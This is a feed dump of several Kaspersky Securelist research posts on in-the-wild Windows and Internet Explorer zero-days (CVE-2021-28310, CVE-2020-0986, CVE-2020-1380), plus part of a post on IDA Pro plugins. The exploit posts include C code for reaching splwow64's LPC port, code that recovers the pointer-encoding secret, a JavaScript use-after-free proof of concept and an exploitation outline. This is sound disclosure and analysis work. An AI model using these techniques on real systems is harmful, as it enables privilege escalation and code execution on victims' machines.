Processing of the SetResourceBufferProperty (D2DVector2) command in dwmcore.dll

For the SetResourceBufferProperty command with the expression type set to D2DVector2, the function CPropertySet::ProcessSetPropertyValue(…) would either call CPropertySet::AddProperty<D2DVector2>(…) or CPropertySet::UpdateProperty<D2DVector2>(…) depending on whether the update flag is set in the command. The first thing that catches the eye is the way the new property is added in the CPropertySet::AddProperty<D2DVector2>(…) function. You can see that it adds a new property to the resource, but it only checks if the propertyId and storageOffset of a new property are equal to the provided values after the new property is added, and returns an error if that’s not the case. Checking something after a job is done is bad coding practice and can result in vulnerabilities. However, a real issue can be found in the CPropertySet::UpdateProperty<D2DVector2>(…) function. No check takes place that will ensure if the provided propertyId is less than the count of properties added to the resource. As a result, an attacker can use this function to perform an OOB write past the propertiesData buffer if it manages to bypass two additional checks for data inside the properties array.

(1)	storageOffset == this->properties[propertyId]->offset & 0x1FFFFFFF
(2)	this->properties[propertyId]->type == type

Conditions which need to be met for exploitation in dwmcore.dll

These checks could be bypassed if an attacker is able to allocate and release objects in the dwm.exe process to groom heap into the desired state and spray memory at specific locations with fake properties. The discovered exploit manages to do this using the CreateResource, ReleaseResource and SetResourceBufferProperty commands.

At the time of writing, we still hadn’t analyzed the updated binaries that are fixing this vulnerability, but to exclude the possibility of other variants for this vulnerability Microsoft would need to check the count of properties for other expression types as well.

Even with the above issues in dwmcore.dll, if the desired memory state is achieved to bypass the previously mentioned checks and a batch of commands are issued to trigger the vulnerability, it still won’t be triggered because there is one more thing preventing it from happening.

As mentioned above, commands are first processed by the kernel and only after that are they sent to Desktop Window Manager (dwm.exe). This means that if you try to send a command with an invalid propertyId, NtDCompositionProcessChannelBatchBuffer syscall will return an error and the command will not be passed to the dwm.exe process. SetResourceBufferProperty commands with expression type set to D2DVector2 are processed in the win32kbase.sys driver with the functions DirectComposition::CPropertySetMarshaler::AddProperty<D2DVector2>(…) and DirectComposition::CPropertySetMarshaler::UpdateProperty<D2DVector2>(…), which are very similar to those present in dwmcore.dll (it’s quite likely they were copy-pasted). However, the kernel version of the UpdateProperty<D2DVector2> function has one notable difference – it actually checks the count of properties added to the resource.

int DirectComposition::CPropertySetMarshaler::UpdateProperty<D2DVector2>(DirectComposition::CPropertySetMarshaler *this, unsigned int *commandParams, _QWORD *value)
{
  unsigned int propertyId = commandParams[0];
  unsigned int storageOffset = commandParams[1];
  unsigned int type = commandParams[2];

  if ( propertyId >= this->propertiesCount
    || storageOffset != this->properties[propertyId]->offset & 0x1FFFFFFF)
    || type != this->properties[propertyId]->type )
  {
    return 0xC000000D;
  }
  else
  {
    *(_QWORD *)(this->propertiesData + (this->properties[propertyId]->offset & 0x1FFFFFFF)) = *value;
    ...
  }
  return 0;
}

DirectComposition::CPropertySetMarshaler::UpdateProperty<D2DVector2>(…) in win32kbase.sys

The check for propertiesCount in the kernel mode version of the UpdateProperty<D2DVector2> function prevents further processing of a malicious command by its user mode twin and mitigates the vulnerability, but this is where DirectComposition::CPropertySetMarshaler::AddProperty<D2DVector2>(…) comes in to play. The kernel version of the AddProperty<D2DVector2> function works exactly like its user mode variant and it also applies the same behavior of checking property after it has already been added and returns an error if propertyId and storageOffset of the created property do not match the provided values. Because of this, it’s possible to use the AddProperty<D2DVector2> function to add a new property and force the function to return an error and cause inconsistency between the number of properties assigned to the same resource in kernel mode/user mode. The propertiesCount check in the kernel could be bypassed this way and malicious commands would be passed to Desktop Window Manager (dwm.exe).

Inconsistency between the number of properties assigned to the same resource in kernel mode/user mode could be a source of other vulnerabilities, so we recommend Microsoft to change the behavior of the AddProperty function and check properties before they are added.

The whole exploitation process for the discovered exploit is as follows:

  1. Create a large number of resources with properties of specific size to get heap into predictable state.
  2. Create additional resources with properties of specific size and content to spray memory at specific locations with fake properties.
  3. Release resources created at stage 2.
  4. Create additional resources with properties. These resources will be used to perform OOB writes.
  5. Make holes among resources created at stage 1.
  6. Create additional properties for resources created at stage 4. Their buffers are expected to be allocated at specific locations.
  7. Create “special” properties to cause inconsistency between the number of properties assigned to the same resource in kernel mode/user mode for resources created at stage 4.
  8. Use OOB write vulnerability to write shellcode, create an object and get code execution.
  9. Inject additional shellcode into another system process.

Kaspersky products detect this exploit with the verdicts:

  • HEUR:Exploit.Win32.Generic
  • HEUR:Trojan.Win32.Generic
  • PDM:Exploit.Win32.Generic

 

]]>
https://securelist.com/zero-day-vulnerability-in-desktop-window-manager-cve-2021-28310-used-in-the-wild/101898/feed/ 0 full large medium thumbnail
Operation PowerFall: CVE-2020-0986 and variants https://securelist.com/operation-powerfall-cve-2020-0986-and-variants/98329/ https://securelist.com/operation-powerfall-cve-2020-0986-and-variants/98329/#respond Wed, 02 Sep 2020 10:00:56 +0000 https://kasperskycontenthub.com/securelist/?p=98329

In August 2020, we published a blog post about Operation PowerFall. This targeted attack consisted of two zero-day exploits: a remote code execution exploit for Internet Explorer 11 and an elevation of privilege exploit targeting the latest builds of Windows 10. While we already described the exploit for Internet Explorer in the original blog post, we also promised to share more details about the elevation of privilege exploit in a follow-up post. Let’s take a look at vulnerability CVE-2020-0986, how it was exploited by attackers, how it was fixed and what additional mitigations were implemented to complicate exploitation of many other similar vulnerabilities.

CVE-2020-0986

CVE-2020-0986 is an arbitrary pointer dereference vulnerability in GDI Print/Print Spooler API. By using this vulnerability it is possible to manipulate the memory of the splwow64.exe process to achieve execution of arbitrary code in the process and escape the Internet Explorer 11 sandbox because splwow64.exe is running with medium integrity level. “Print driver host for applications,” as Microsoft describes splwow64.exe, is a relatively small binary that hosts 64-bit user-mode printer drivers and implements the Local Procedure Call (LPC) server that can be used by other processes to access printing functions. This allows the use of 64-bit printer drivers from 32-bit processes. Below I provide the code that can be used to spawn splwow64.exe and connect to splwow64.exe’s LPC server.

typedef struct _PORT_VIEW
{
	UINT64 Length;
	HANDLE SectionHandle;
	UINT64 SectionOffset;
	UINT64 ViewSize;
	UCHAR* ViewBase;
	UCHAR* ViewRemoteBase;
} PORT_VIEW, *PPORT_VIEW;

PORT_VIEW ClientView;

typedef struct _PORT_MESSAGE_HEADER {
	USHORT DataSize;
	USHORT MessageSize;
	USHORT MessageType;
	USHORT VirtualRangesOffset;
	CLIENT_ID ClientId;
	UINT64 MessageId;
	UINT64 SectionSize;
} PORT_MESSAGE_HEADER, *PPORT_MESSAGE_HEADER;

typedef struct _PROXY_MSG {
	PORT_MESSAGE_HEADER MessageHeader;
	UINT64 InputBufSize;
	UINT64 InputBuf;
	UINT64 OutputBufSize;
	UINT64 OutputBuf;
	UCHAR Padding[0x1F8];
} PROXY_MSG, *PPORT_MESSAGE;

PROXY_MSG LpcReply;
PROXY_MSG LpcRequest;

int GetPortName(PUNICODE_STRING DestinationString)
{
	void *tokenHandle;
	DWORD sessionId;
	ULONG length;

	int tokenInformation[16];
	WCHAR dst[256];

	memset(tokenInformation, 0, sizeof(tokenInformation));
	ProcessIdToSessionId(GetCurrentProcessId(), &sessionId);

	memset(dst, 0, sizeof(dst));

	if (NtOpenProcessToken(GetCurrentProcess(), READ_CONTROL | TOKEN_QUERY, &tokenHandle)
		|| ZwQueryInformationToken(tokenHandle, TokenStatistics, tokenInformation, sizeof(tokenInformation), &length))
	{
		return 0;
	}

	wsprintfW(
		dst,
		L"\\RPC Control\\UmpdProxy_%x_%x_%x_%x",
		sessionId,
		tokenInformation[2],
		tokenInformation[3],
		0x2000);
	RtlInitUnicodeString(DestinationString, dst);

	return 1;
}

HANDLE CreatePortSharedBuffer(PUNICODE_STRING PortName)
{
	HANDLE sectionHandle = 0;
	HANDLE portHandle = 0;
	union _LARGE_INTEGER maximumSize;
	maximumSize.QuadPart = 0x20000;

	NtCreateSection(&sectionHandle, SECTION_MAP_WRITE | SECTION_MAP_READ, 0, &maximumSize, PAGE_READWRITE, SEC_COMMIT, NULL);
	if (sectionHandle)
	{
		ClientView.SectionHandle = sectionHandle;
		ClientView.Length = 0x30;
		ClientView.ViewSize = 0x9000;
		ZwSecureConnectPort(&portHandle, PortName, NULL, &ClientView, NULL, NULL, NULL, NULL, NULL);
	}

	return portHandle;
}

int main()
{
	printf("Spawn splwow64.exe\n");
	CHAR Path[0x100];
	GetCurrentDirectoryA(sizeof(Path), Path);
	PathAppendA(Path, "CreateDC.exe"); // x86 application with call to CreateDC
	WinExec(Path, 0);
	Sleep(1000);

	CreateDCW(L"Microsoft XPS Document Writer", L"Microsoft XPS Document Writer", NULL, NULL);

	printf("Get port name\n");
	UNICODE_STRING portName;
	if (!GetPortName(&portName))
	{
		printf("Failed to get port name\n");
		return 0;
	}

	printf("Create port\n");
	HANDLE portHandle = CreatePortSharedBuffer(&portName);
	if (!(portHandle && ClientView.ViewBase && ClientView.ViewRemoteBase))
	{
		printf("Failed to create port\n");
		return 0;
	}
}

To send data to the LPC server it’s enough to prepare the printer command in the shared memory region and send an LPC message with NtRequestWaitReplyPort().

memset(&LpcRequest, 0, sizeof(LpcRequest));
LpcRequest.MessageHeader.DataSize = 0x20;
LpcRequest.MessageHeader.MessageSize = 0x48;

LpcRequest.InputBufSize = 0x88;
LpcRequest.InputBuf = (UINT64)ClientView.ViewRemoteBase; // Points to printer command
LpcRequest.OutputBufSize = 0x10;
LpcRequest.OutputBuf = (UINT64)ClientView.ViewRemoteBase + LpcRequest.InputBufSize;

// TODO: Prepare printer command

NtRequestWaitReplyPort(portHandle, &LpcRequest, &LpcReply);

When the LPC message is received, it is processed by the function TLPCMgr::ProcessRequest(PROXY_MSG *). This function takes LpcRequest as a parameter and verifies it. After that it allocates a buffer for the printer command and copies it there from shared memory. The printer command function INDEX, which is used to identify different driver functions, is stored as a double word at offset 4 in the printer command structure. Almost a complete list of different function INDEX values can be found in the header file winddi.h. This header file includes different INDEX values from INDEX_DrvEnablePDEV (0) up to INDEX_LAST (103), but the full list of INDEX values does not end there. Analysis of gdi32full.dll reveals that that are a number of special INDEX values and some of them are provided in the table below (to find them in binary, look for calls to PROXYPORT::SendRequest).

106 – INDEX_LoadDriver
107 - INDEX_UnloadDriver
109 – INDEX_DocumentEvent
110 – INDEX_StartDocPrinterW
111 – INDEX_StartPagePrinter
112 – INDEX_EndPagePrinter
113 – INDEX_EndDocPrinter
114 – INDEX_AbortPrinter
115 – INDEX_ResetPrinterW
116 – INDEX_QueryColorProfile

Function TLPCMgr::ProcessRequest(PROXY_MSG *) checks the function INDEX value and if it passes the checks, the printer command will be processed by function GdiPrinterThunk in gdi32full.dll.

if ( IsKernelMsg || INDEX >= 106 && (INDEX <= 107 || INDEX - 109 <= 7))
{
    // …
    GdiPrinterThunk(LpcRequestInputBuf, LpcRequestOutputBuf, LpcRequestOutputBufSize);
}

GdiPrinterThunk itself is a very large function that processes more than 60 different function INDEX values, and the handler for one of them – namely INDEX_DocumentEvent – contains vulnerability CVE-2020-0986. The handler for INDEX_DocumentEvent will use information provided in the printer command (fully controllable from the LPC client) to check that the command is intended for a printer with a valid handle. After the check it will use the function DecodePointer to decode the pointer of the function stored at the fpDocumentEvent global variable (located in .data segment), then use the decoded pointer to execute the function, and finally perform a call to memcpy() where source, destination and size arguments are obtained from the printer command and are fully controllable by the attacker.

Exploitation

In Windows OS the base addresses of system DLL libraries are randomized with each boot, aiding exploitation of this vulnerability. The exploit loads the libraries gdi32full.dll and winspool.drv, and then obtains the offset of the fpDocumentEvent pointer from gdi32full.dll and the address of the DocumentEvent function from winspool.drv. After that the exploit performs a number of LPC requests with specially crafted INDEX_DocumentEvent commands to leak the value of the fpDocumentEvent pointer. The value of the raw pointer is protected using EncodePointer protection, but the function pointed to by this raw pointer is executed each time the INDEX_DocumentEvent command is sent and the arguments of this function are fully controllable. All this makes the fpDocumentEvent pointer the best candidate for an overwrite. A necessary step for exploitation is to encode our own pointer in such a manner that it will be properly decoded by the function DecodePointer. Since we have the value of the encoded pointer and the value of the decoded pointer (address of the DocumentEvent function from winspool.drv), we are able to calculate the secret constant used for pointer encoding and then use it to encode our own pointer. The necessary calculations are provided below.

// Calculate secret for pointer encoding
while (1)
{
	secret = (unsigned int)DocumentEvent ^ __ROL8__(*(UINT64*)leaked_fpDocumentEvent, i & 0x3F);
	if ((secret & 0x3F) == i && __ROR8__((UINT64)DocumentEvent ^ secret, secret & 0x3F) == *(UINT64*)leaked_fpDocumentEvent)
		break;
	if (++i > 0x3F)
	{
		secret = 0;
		break;
	}
}

// Encode LoadLibraryA pointer with calculated secret
UINT64 encodedPtr = __ROR8__(secret ^ (UINT64)LoadLibraryA, secret & 0x3F);

At this stage, in order to achieve code execution from the splwow64.exe process, it’s sufficient to overwrite the fpDocumentEvent pointer with the encoded pointer of function LoadLibraryA and provide the name of a library to load in the next LPC request with the INDEX_DocumentEvent command.

Overview of attack

CVE-2019-0880

Analysis of CVE-2020-0986 reveals that this vulnerability is the twin brother of the previously discovered CVE-2019-0880. The write-up for CVE-2019-0880 is available here. It’s another vulnerability that was exploited as an in-the-wild zero-day. CVE-2019-0880 is just another fully controllable call to memcpy() in the same GdiPrinterThunk function, just a few lines of code away in a handler of function INDEX 118. It seems hard to believe that the developers didn’t notice the existence of a variant for this vulnerability, so why was CVE-2020-0986 not patched back then and why did it take so long to fix it? It may not be obvious on first glance, but GdiPrinterThunk is totally broken. Even fixing a couple of calls to memcpy doesn’t really help.

Arbitrary pointer dereference host for applications

The problem lies in the fact that almost every function INDEX in GdiPrinterThunk is susceptible to a potential arbitrary pointer dereference vulnerability. Let’s take a look again at the format of the LPC request message.

typedef struct _PROXY_MSG {
	PORT_MESSAGE_HEADER MessageHeader;
	UINT64 InputBufSize;
	UINT64 InputBuf;
	UINT64 OutputBufSize;
	UINT64 OutputBuf;
	UCHAR Padding[0x1F8];
} PROXY_MSG, *PPORT_MESSAGE;

InputBuf and OutputBuf are both pointers that should point to a shared memory region. InputBuf points to a location where the printer command is prepared, and when this command is processed by GdiPrinterThunk the result might be written back to the LPC client using the pointer that was provided as OutputBuf. Many handlers for different INDEX values provide data to the LPC client, but the problem is that the pointers InputBuf and OutputBuf are fully controllable from the LPC client and manipulation of the OutputBuf pointer can lead to an overwrite of splwow64.exe’s process memory.

How it was mitigated

Microsoft fixed CVE-2020-0986, but also implemented a mitigation aimed to make exploitation of OutputBuf vulnerabilities as hard as possible. Before the patch the function FindPrinterHandle() blindly trusted the data provided through the printer command in an LPC request and it was easy to bypass a valid handle check. After the patch the format of the printer command was changed so it no longer contains the address of the handle table, but instead contains a valid driver ID (quad word at offset 0x18). Now the linked list of handle tables is stored inside the splwow64.exe process and the new function FindDriverForCookie() uses the provided driver ID to get a handle table securely. For a printer command to be processed it should contain a valid printer handle (quad word at offset 0x20). The printer handle consists of process ID and the address of the buffer allocated for the printer driver. It is possible to guess some bytes of the printer handle, but a successful real-world brute-force attack on this implementation seems to be unlikely. So, it’s safe to assume that this bug class was properly mitigated. However, there are still a couple of places in the code where it is possible to write a 0 for the address provided as OutputBuf without a handle check, but exploitation in such a scenario doesn’t appear to be feasible.

]]>
https://securelist.com/operation-powerfall-cve-2020-0986-and-variants/98329/feed/ 0 full large medium thumbnail
Internet Explorer and Windows zero-day exploits used in Operation PowerFall https://securelist.com/ie-and-windows-zero-day-operation-powerfall/97976/ https://securelist.com/ie-and-windows-zero-day-operation-powerfall/97976/#comments Wed, 12 Aug 2020 07:00:28 +0000 https://kasperskycontenthub.com/securelist/?p=97976

Executive summary

In May 2020, Kaspersky technologies prevented an attack on a South Korean company by a malicious script for Internet Explorer. Closer analysis revealed that the attack used a previously unknown full chain that consisted of two zero-day exploits: a remote code execution exploit for Internet Explorer and an elevation of privilege exploit for Windows. Unlike a previous full chain that we discovered, used in Operation WizardOpium, the new full chain targeted the latest builds of Windows 10, and our tests demonstrated reliable exploitation of Internet Explorer 11 and Windows 10 build 18363 x64.

On June 8, 2020, we reported our discoveries to Microsoft, and the company confirmed the vulnerabilities. At the time of our report, the security team at Microsoft had already prepared a patch for vulnerability CVE-2020-0986 that was used in the zero-day elevation of privilege exploit, but before our discovery, the exploitability of this vulnerability was considered less likely. The patch for CVE-2020-0986 was released on June 9, 2020.

Microsoft assigned CVE-2020-1380 to a use-after-free vulnerability in JScript and the patch was released on August 11, 2020.

We are calling this and related attacks ‘Operation PowerFall’. Currently, we are unable to establish a definitive link with any known threat actors, but due to similarities with previously discovered exploits, we believe that DarkHotel may be behind this attack. Kaspersky products detect Operation PowerFall attacks with verdict PDM:Exploit.Win32.Generic.

Internet Explorer 11 remote code execution exploit

The most recent zero-day exploits for Internet Explorer discovered in the wild relied on the vulnerabilities CVE-2020-0674, CVE-2019-1429, CVE-2019-0676 and CVE-2018-8653 in the legacy JavaScript engine jscript.dll. In contrast, CVE-2020-1380 is a vulnerability in jscript9.dll, which has been used by default starting with Internet Explorer 9, and because of this, the mitigation steps recommended by Microsoft (restricting the usage of jscript.dll) cannot protect against this particular vulnerability.

CVE-2020-1380 is a Use-After-Free vulnerability that is caused by JIT optimization and the lack of necessary checks in just-in-time compiled code. A proof-of-concept (PoC) that triggers vulnerability is demonstrated below:

function func(O, A, F, O2) {
    arguments.push = Array.prototype.push;
    O = 1;
    arguments.length = 0;
    arguments.push(O2);
    if (F == 1) {
        O = 2;
    }

    // execute abp.valueOf() and write by dangling pointer
    A[5] = O;
};

// prepare objects
var an = new ArrayBuffer(0x8c);
var fa = new Float32Array(an);

// compile func
func(1, fa, 1, {});
for (var i = 0; i < 0x10000; i++) {
    func(1, fa, 1, 1);
}

var abp = {};
abp.valueOf = function() {

    // free 
    worker = new Worker('worker.js');
    worker.postMessage(an, [an]);
    worker.terminate();
    worker = null;

    // sleep
    var start = Date.now();
    while (Date.now() - start < 200) {}

    // TODO: reclaim freed memory

    return 0
};

try {
    func(1, fa, 0, abp);
} catch (e) {
    reload()
}

To understand this vulnerability, let us take a look at how func() is executed. It is important to understand what value is set to A[5]. According to the code, it should be an O argument. At function start, the O argument is re-assigned to 1, but then the function arguments length is set to 0. This operation does not clear function arguments (as it would normally do with regular array) but allows to put argument O2 into the arguments list at index zero using Array.prototype.push, meaning O = O2 now. Besides that, if the argument F is equal to 1, then O will be re-assigned once again, but to the integer number 2. It means that depending on the value of the F argument, the O argument is equal to either the value of the O2 argument or the integer number 2. The argument A is a typed array of 32-bit floating point numbers, and before assigning a value to index 5 of the array, this value should be converted to a float. Converting an integer to a float is a relatively simple task, but it become less straightforward when an object is converted to a float number. The exploit uses the object abp with an overridden valueOf() method. This method is executed when the object is converted to a float, but inside the method there is code that frees ArrayBuffer, which is viewed by Float32Array and where the returned value will be set. To prevent the value from being stored in the memory of the freed object, the JavaScript engine needs to check the status of the object before storing the value in it. To convert and store the float value safely, JScript9.dll uses the function Js::TypedArray<float,0>::BaseTypedDirectSetItem(). You can see decompiled code of this function below:

int Js::TypedArray<float,0>::BaseTypedDirectSetItem(Js::TypedArray<float,0> *this, unsigned int index, void *object, int reserved)
{
    Js::JavascriptConversion::ToNumber(object, this->type->library->context);
    if ( LOBYTE(this->view[0]->unusable) )
        Js::JavascriptError::ThrowTypeError(this->type->library->context, 0x800A15E4, 0);
    if ( index < this->count )
    {
        *(float *)&this->buffer[4 * index] = Js::JavascriptConversion::ToNumber(
            object,
            this->type->library->context);
    }
    return 1;
}
 
double Js::JavascriptConversion::ToNumber(void *object, struct Js::ScriptContext *context)
{
    if ( (unsigned char)object & 1 )
        return (double)((int)object >> 1);
    if ( *(void **)object == VirtualTableInfo<Js::JavascriptNumber>::Address[0] )
        return *((double *)object + 1);
    return Js::JavascriptConversion::ToNumber_Full(object, context);
}

This function checks the view[0]->unusable and count fields of the typed float array and when ArrayBuffer is freed during execution of the valueOf() method, both of these checks will fail because view[0]->unusable will be set to 1 and count will be set to 0 during the first call to Js::JavascriptConversion::ToNumber(). The problem lies in the fact that the function Js::TypedArray<float,0>::BaseTypedDirectSetItem() is used only in interpretation mode.

When the function func() is compiled just in time, the JavaScript engine will use the vulnerable code below.

if ( !((unsigned char)floatArray & 1) && *(void *)floatArray == &Js::TypedArray<float,0>::vftable )
{
  if ( floatArray->count > index )
  {
    buffer = floatArray->buffer + 4*index;
    if ( object & 1 )
    {
      *(float *)buffer = (double)(object >> 1);
    }
    else
    {
      if ( *(void *)object != &Js::JavascriptNumber::vftable )
      {
        Js::JavascriptConversion::ToFloat_Helper(object, (float *)buffer, context);
      }
      else
      {
        *(float *)buffer = *(double *)(object->value);
      }
    }
  }
}

And here is the code of the Js::JavascriptConversion::ToFloat_Helper() function.

void Js::JavascriptConversion::ToFloat_Helper(void *object, float *buffer, struct Js::ScriptContext *context)
{
  *buffer = Js::JavascriptConversion::ToNumber_Full(object, context);
}

As you can see, unlike in interpretation mode, in just-in-time compiled code, the life cycle of ArrayBuffer is not checked, and its memory can be freed and then reclaimed during a call to the valueOf() function. Additionally, the attacker can control at what index the returned value is written. However, in the case when “arguments.length = 0;”and “arguments.push(O2);” are replaced in PoC with “arguments[0] = O2;” then Js::JavascriptConversion::ToFloat_Helper() will not trigger the bug because implicit calls will be disabled and it will not perform a call to the valueOf() function.

To ensure that the function func() is compiled just in time, the exploit executes this function 0x10000 times, performing a harmless conversion of the integer, and only after that func() is executed once more, triggering the bug. To free ArrayBuffer, the exploit uses a common technique abusing the Web Workers API. The function postMessage() can be used to serialize objects to messages and send them to the worker. As a side effect, transferred objects are freed and become unusable in the current script context. When ArrayBuffer is freed, the exploit triggers garbage collection via code that simulates the use of the Sleep() function: it is a while loop that checks for the time lapse between Date.now() and the previously stored value. After that, the exploit reclaims the memory with integer arrays.

for (var i = 0; i < T.length; i += 1) {
        T[i] = new Array((0x1000 - 0x20) / 4);
        T[i][0] = 0x666; // item needs to be set to allocate LargeHeapBucket
    }

When a large number of arrays is created, Internet Explorer allocates new LargeHeapBlock objects, which are used by IE’s custom heap implementation. The LargeHeapBlock objects will store the addresses of buffers allocated for the arrays. If the expected memory layout is achieved successfully, the vulnerability will overwrite the value at the offset 0x14 of LargeHeapBlock with 0, which happens to be the allocated block count.

LargeHeapBlock structure for jscript9.dll x86

 After that, the exploit allocates a huge number of arrays and sets them to another array that was prepared at the initial stage of the exploitation. Then this array is set to null, and the exploit makes a call to the CollectGarbage() function. This results in defragmentation of the heap, and the modified LargeHeapBlock will be freed along with its associated array buffers. At this stage, the exploit creates a large amount of integer arrays in hopes of reclaiming the previously freed array buffers. The newly created arrays have a magic value set at index zero, and this value is checked through a dangling pointer to the previously freed array to detect if the exploitation was successful.

for (var i = 0; i < K.length; i += 1) {
            K[i] = new Array((0x1000 - 0x20) / 4);
            K[i][0] = 0x888; // store magic
        }

        for (var i = 0; i < T.length; i += 1) {
            if (T[i][0] == 0x888) { // find array accessible through dangling pointer
                R = T[i];
                break;
            }
        }

As a result, the exploit creates two different JavascriptNativeIntArray objects with buffers pointing to the same location. This makes it possible to retrieve the addresses of the objects and even create new malformed objects. The exploit takes advantage of these primitives to create a malformed DataView object and get read/write access to the whole address space of the process.

After the building of the arbitrary read/write primitives, it is time to bypass Control Flow Guard (CFG) and get code execution. The exploit uses the Array’s vftable pointer to get the module base address of jscript9.dll. From there, it parses the PE header of jscript9.dll to get the address of the Import Directory Table and resolves the base addresses of the other modules. The goal here is to find the address of the function VirtualProtect(), which will be used to make the shellcode executable. After that, the exploit searches for two signatures in jscript9.dll. Those signatures correspond to the address of the Unicode string “split” and the address of the function: JsUtil::DoublyLinkedListElement<ThreadContext>::LinkToBeginning<ThreadContext>(). The address of the Unicode string “split” is used to get a code reference to the string and with its help, to resolve the address of the function Js::JavascriptString::EntrySplit(), which implements the string method split(). The address of the function LinkToBeginning<ThreadContext>() is used to obtain the address of the first ThreadContext object in the global linked list. The exploit locates the last entry in the linked list and uses it to get the location of the stack for the thread responsible for the execution of the script. After that comes the final stage. The exploit executes the split() method and an object with an overridden valueOf() method is provided as a limit argument. When the overridden valueOf() method is executed during the execution of the function Js::JavascriptString::EntrySplit(), the exploit will search the thread’s stack to find the return address, place the shellcode in a prepared buffer, obtain its address, and finally build a return-oriented programming (ROP) chain to execute the shellcode by overwriting the return address of the function.

Next stage

The shellcode is a reflective DLL loader for the portable executable (PE) module that is appended to the shellcode. The module is very small in size, and the whole functionality is located inside a single function. It creates a file within a temporary folder with the name ok.exe and writes to it the contents of another executable that is present in the remote code execution exploit. After that, ok.exe is executed.

The ok.exe executable contains is an elevation of privilege exploit for the arbitrary pointer dereference vulnerability CVE-2020-0986 in the GDI Print / Print Spooler API. Initially, this vulnerability was reported to Microsoft by an anonymous user working with Trend Micro’s Zero Day Initiative back in December 2019. Due to the patch not being released for six months since the original report, ZDI posted a public advisory for this vulnerability as a zero-day on May 19, 2020. The next day, the vulnerability was exploited in the previously mentioned attack.

The vulnerability makes it possible to read and write the arbitrary memory of the splwow64.exe process using interprocess communication, and use it to achieve code execution in the splwow64.exe process, bypassing the CFG and EncodePointer protection. The exploit comes with two executables embedded in its resources. The first executable is written to disk as CreateDC.exe and is used to create a device context (DC), which is required for exploitation. The second executable has the name PoPc.dll and if the exploitation is successful, it is executed by splwow64.exe with a medium integrity level. We will provide further details on CVE-2020-0986 and its exploitation in a follow-up post.

Execution of a malicious PowerShell command from splwow64.exe

The main functionality of PoPc.dll is also located inside a single function. It executes an encoded PowerShell command that proceeds to download a file from www[.]static-cdn1[.]com/update.zip, saves it to the temporary folder as upgrader.exe and executes it. We were unable to analyze upgrader.exe because Kaspersky technologies prevented the attack before the executable was downloaded.

IoCs

www[.]static-cdn1[.]com/update.zip
B06F1F2D3C016D13307BC7CE47C90594
D02632CFFC18194107CC5BF76AECA7E87E9082FED64A535722AD4502A4D51199
5877EAECA1FE8A3A15D6C8C5D7FA240B
7577E42177ED7FC811DE4BC854EC226EB037F797C3B114E163940A86FD8B078B
B72731B699922608FF3844CCC8FC36B4
7765F836D2D049127A25376165B1AC43CD109D8B9D8C5396B8DA91ADC61ECCB1
E01254D7AF1D044E555032E1F78FF38F
81D07CAE45CAF27CBB9A1717B08B3AB358B647397F08A6F9C7652D00DBF2AE24

]]>
https://securelist.com/ie-and-windows-zero-day-operation-powerfall/97976/feed/ 2 full large medium thumbnail
GReAT thoughts: Awesome IDA Pro plugins https://securelist.com/great-ida-pro-plugins/97898/ https://securelist.com/great-ida-pro-plugins/97898/#respond Tue, 21 Jul 2020 10:00:17 +0000 https://kasperskycontenthub.com/securelist/?p=97898

The Global Research & Analysis Team here at Kaspersky has a tradition of meeting up once a month and sharing cutting-edge research, interesting techniques and useful tools. We recently took the unprecedented decision to make our internal meetings public for a few months and present them as a series of talks called ‘GReAT Ideas. Powered by SAS’. In the second edition that takes place on July 22, 2020, I’ll be talking about awesome IDA Pro plugins that I regularly use. This article is a sneak peek into what I’ll be discussing.

Highlighting control-flow transfer instructions

When you are reverse-engineering a binary it’s very important to follow control-flow transfer instructions and especially those instructions that are used to transfer the control flow to other procedures. For x86/64 architectures this is done by the CALL instruction. If you’re an experienced reverse engineer, you can usually get a general idea of what a function does just by taking a quick look at the function assembly (especially true when the function is relatively small). When it comes to understanding what a function does, the first thing you’re most likely to do is check how many CALL instructions it has and what other functions they execute. If a function just performs calculations, stores some values in memory, and you don’t really care about such details, then you can skip this function and continue reverse-engineering. It’s quite different when a function executes other functions; you might want to understand what these functions do first to get the bigger picture.

All development environments for writing code support syntax highlighting because it greatly assists in software coding. However, syntax highlighting can also greatly assist in software reversing. Let’s take a quick look at syntax highlight capabilities provided by IDA Pro and other tools for reverse engineering.

As you can see, Immunity Debugger, x64dbg and radare2 all highlight control-flow transfer instructions, but not IDA Pro. The default IDA Pro theme just looks plain. However, it’s possible to brighten things up a bit if you go to “Options -> Colors…”. In the IDA Colors window you can configure different colors for instruction mnemonics, registers, addresses, constants and variables. It makes IDA Pro output much more pleasant on the eye, but it doesn’t solve the problem completely because all instruction mnemonics will have the same color and if you rely on address highlighting, it’s not going to work with indirect function calls. Why doesn’t IDA Pro have an option to highlight CALL instructions? To this day, this omission bothers me. And it seems it’s not just me because there have been a number of scripts and plugins aimed at the same issue – fluorescence.py and highlight_calls.py – to name just a couple. These scripts use API functions set_color()/set_item_color() to set background color behind an instruction. And while it definitely does the job, the final result is not as good as it could be if it was possible to change the color of some particular instruction mnemonics.

At some point, I decided to check if there was a way to change the color of some particular instructions with a more advanced plugin and dived into IDA Pro SDK header files. I found what I was looking for inside the lines.hpp header file, which reveals the internal format used by IDA Pro to display disassembled text. It turns out that the API functions generate_disassembly() and generate_disasm_line() output disassembled text lines along with special escape sequences that are used to implement syntax highlighting. If you use idc.generate_disasm_line(ea, flags) with IDAPython, then these color escape sequences will be removed from the output, but you can still take a look at raw disassembled text lines if you use ida_lines.generate_disasm_line(ea, flags). The format for color escape sequences is fairly simple and a typical color sequence looks like this: #COLOR_ON #COLOR_xxx text #COLOR_OFF #COLOR_xxx. #COLOR_ON is equal to ‘\x01’ and the #COLOR_xxx value for instruction mnemonic is defined as COLOR_INSN and equal to ‘\x05’. As a result, the disassembly text line for the CALL instruction will always begin with ‘\x01\x05call\x02\x05’. IDA Pro SDK also provides the function hook_to_notification_point() that can be used to install callbacks for different events, and those events include the UI notification ui_gen_idanode_text which can be used to provide custom text for an IDA graph node. So, the plan is as follows: we make a callback for ui_gen_idanode_text notification, check if the disassembled text line at the current address starts with ‘\x01\x05call\x02\x05’, and if so, we replace COLOR_INSN with the ID of some another color. After writing the necessary code and testing it, I was happy to see that my plan worked out pretty well!

